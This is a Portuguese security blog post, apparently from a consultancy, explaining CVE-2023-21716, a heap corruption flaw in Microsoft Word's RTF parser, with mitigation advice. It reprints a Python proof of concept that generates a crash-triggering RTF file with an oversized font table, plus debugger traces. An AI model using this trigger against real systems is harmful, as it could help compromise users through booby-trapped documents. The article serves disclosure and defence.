Post banner | CVE-2023-21716 - RTF Parser
    securitycybersecurityvulnerabilidadeCVE

CVE-2023-21716 - RTF Parser

Overwiew: Conheça a nova vulnerabilidade CVE-2023-21716 da RTF Parser da Microsoft



Não é novidade que arquivos RTF (abreviação para Rich Text Format), formato desenvolvido pela Microsoft há um pouco mais de 30 anos, têm dado trabalho para os profissionais de Segurança da Microsoft há tempos, principalmente na última década, quando outras vulnerabilidades relacionadas foram encontradas nos anos de 2010, 2012, 2014 e 2015.

No dia 15 de fevereiro de 2023, o pesquisador da área de Segurança Joshua J. Drake reportou à Microsoft uma vulnerabilidade crítica de score CVSS 9.8 e de pouca complexidade de exploração no parser de arquivos RTF utilizado por vários produtos da Microsoft e principalmente pelo Microsoft Word.

Um pouco sobre Rich Text Format

Mesmo o RTF sendo um formato legado de arquivo de texto (com o último release de feature realizado em 2008), muitos editores de texto continuam suportando o formato por sua praticidade de implementação técnica e simplicidade de criação, uma vez que praticamente qualquer sistema operacional é capaz de entregar um editor de texto que o suporte. Por conta desses fatores, qualquer pessoa pode enviar um arquivo de texto que suporte um estilo enriquecido e de tamanho razoável sem se preocupar com a versão do editor de texto que o destinatário utiliza. Nesses casos o RTF continua sendo a opção mais assertiva, porém não a mais segura. Para entender melhor o que possibilita que tais ataques sejam bem sucedidos, é preciso rever brevemente alguns aspectos técnicos da especificação do formato.

O RTF é só mais uma linguagem de marcação, assim como HTML, XML e Markdown, e como toda linguagem de marcação, é necessário um parser que siga a especificação da linguagem e torne o conteúdo legível para o usuário final. A especificação é bastante simples e sua estrutura se baseia em grupos, são eles: barra-invertidas (backlash), comandos (control word) e um delimitador, como demonstra o exemplo a seguir.

{\rtf1\ansi\deff0
{\fonttbl
{\f0\fswiss\fcharset0 Arial;}
{\f1\fnil\fcharset2 Symbol;}}
{\colortbl ;\red255\green0\blue0;\green128\blue128;}
{\stylesheet
{\s0\sbasedon0\f0\fs20}
{\s1\sbasedon0\f0\i\fs24}
{\s2\sbasedon0\f0\b\fs28}
{\s3\sbasedon0\f0\b\i\fs32}
{\s4\sbasedon0\f1\fs24}}

This is some \cf1\highlight2\ul\strike{\b\f1 special text}\cf0\highlight0\ulnone\strike0, written in the Arial font. Here is a table:

{\pard\intbl\trowd\trgaph20\trrh200\trleft\trcbpat1\trbrdrl\brdrs\brdrw10\trbrdrt\brdrs\brdrw10\trbrdrr\brdrs\brdrw10\trbrdrb\brdrs\brdrw10
\cellx1000\cellx2000\cellx3000
{\b\cf1\fs24 Column 1}\cell
{\b\cf1\fs24 Column 2}\cell
{\b\cf1\fs24 Column 3}\cell
\row}

}

Arquivo RTF aberto no editor de texto do MacOSArquivo RTF aberto no editor de texto do MacOS

Mesmo o RTF sendo um formato proprietário, ou seja, de código fechado, através de engenharia reversa é possível entender o seu funcionamento e reescrever sua implementação. Entretanto, o fato do parser “oficial” desenvolvido e utilizado nos produtos Microsoft ser proprietário e de código fechado, não garante que seja o mais seguro. Pelo contrário, impossibilita que uma comunidade maior de engenheiros colabore com o desenvolvimento de mecanismos de segurança, o que explica o motivo de uma parte considerável das vulnerabilidades citadas anteriormente serem encontradas no parser de RTF.

É importante entender o papel do parser de RTF, uma vez que a vulnerabilidade em pauta explora exatamente a ausência de alguns mecanismos de controle de segurança no mesmo, como veremos a seguir.

Sobre a vulnerabilidade CVE-2023-21716

A CVE em questão corresponde a uma vulnerabilidade de corrupção de heap,* que pode ser explorada através da criação de um arquivo RTF malicioso. O ataque ocorre quando o arquivo é carregado, por exemplo, no Microsoft Word. É importante notar que a exploração pode ocorrer mesmo que o usuário não abra explicitamente o arquivo RTF, sendo suficiente apenas carregá-lo na visualização de pré-visualização, recurso disponível em alguns sistemas operacionais como por exemplo OSX.

A exploração se origina no manuseio de uma tabela de fontes “\fonttbl”, contendo um número excessivo de fontes “\f###” ao processá-las. Quando o número de fontes na tabela ultrapassa um certo valor, um estouro de pilha ocorre, o que possibilita a execução arbitrária de código com as permissões do usuário afetado. A vulnerabilidade tem um impacto alto devido à sua facilidade de aplicação somado ao fato de que um invasor pode realizar a exploração sem que a vítima precise explicitamente abrir o arquivo.

Dessa vez o problema encontrado no parser de RTF é que ele não valida corretamente o número de fontes que podem ser incluídas na tabela de fontes do arquivo. Quando um número excessivo de fontes é incluído, o parser por sua vez pode corromper a memória, substituindo o que seria os valores de configuração da fonte (como vimos no exemplo de código RTF acima) por outra instrução qualquer que pode ser executada arbitrariamente.

Para ilustrarmos o ataque utilizaremos o script Python a seguir que é capaz de gerar um arquivo RTF malicioso:

#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#

import sys

# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
	num = int(sys.argv[1])

f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
	f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()

Na prova de conceito compartilhado pelo pesquisador, é possível notar o valor de identificação (ID) da fonte (dentro da tabela de fontes) carregado pela instrução "movsx” no endereço “0xd6cf0c3”. Essa instrução estende o sinal do valor carregado, preenchendo assim os bits superiores de “edx” com “ffff”.

0d6cf0b6 0fbf0e          movsx   ecx,word ptr [esi]         ; load base idx
0d6cf0b9 0fbf5602        movsx   edx,word ptr [esi+2]       ; load font idx
0d6cf0bd 8d1451          lea     edx,[ecx+edx*2]            ; multiply by ~3
0d6cf0c0 668b08          mov     cx,word ptr [eax]          ; load the codepage value
0d6cf0c3 66894c5604      mov     word ptr [esi+edx*2+4],cx  ; write the code page

Através de um depurador é possível ilustrar o comportamento em tempo de execução.

*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)

Quando isso ocorre, a instrução de escrita na memória no endereço “0xd6cf0c3” corrompe o heap escrevendo a página de código da fonte em uma posição negativa da memória mantida em “esi”, ou seja, fora dos limites.

*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]

Após a corrupção de memória ocorre o processamento adicional do RTF. Com um layout de heap meticulosamente elaborado pelo atacante, o mesmo pode aproveitar a corrupção para a execução arbitrária de código. Em outras palavras, após corromper a memória, um invasor pode manipular a maneira como o programa funciona e, assim, executar comandos maliciosos no sistema comprometido.

Mitigação e Remediação

A correção para a CVE 2023-21716 já foi disponibilizada no patch de fevereiro de 2023, juntamente com outras vulnerabilidades. O Windows Defender é capaz de identificar arquivos RTF com códigos maliciosos no Windows 11 e Windows 10. Além disso, a simples visualização do conteúdo através do terminal é suficiente para que o próprio antivírus remova o documento.

DemonstraçãoDemonstração

Para se proteger de ataques semelhantes, é possível restringir o acesso a documentos de origem desconhecida e pouco confiável usando a Política de Bloqueio de Arquivo do Microsoft Office.

É importante ressaltar que, a partir do Microsoft Office 2010, foi introduzido o mecanismo de proteção chamado Protected View, que tem como objetivo reduzir a exposição a ataques decorrentes de arquivos provenientes de fontes não confiáveis e com conteúdo malicioso. Ademais, para os usuários do Microsoft Office 365, está disponível o Application Guard, que oferece um nível adicional de proteção.

Para proteger sua organização contra novas ameaças, entre em contato conosco através do email contato@unidade37.com.br e converse diretamente com um de nossos especialistas!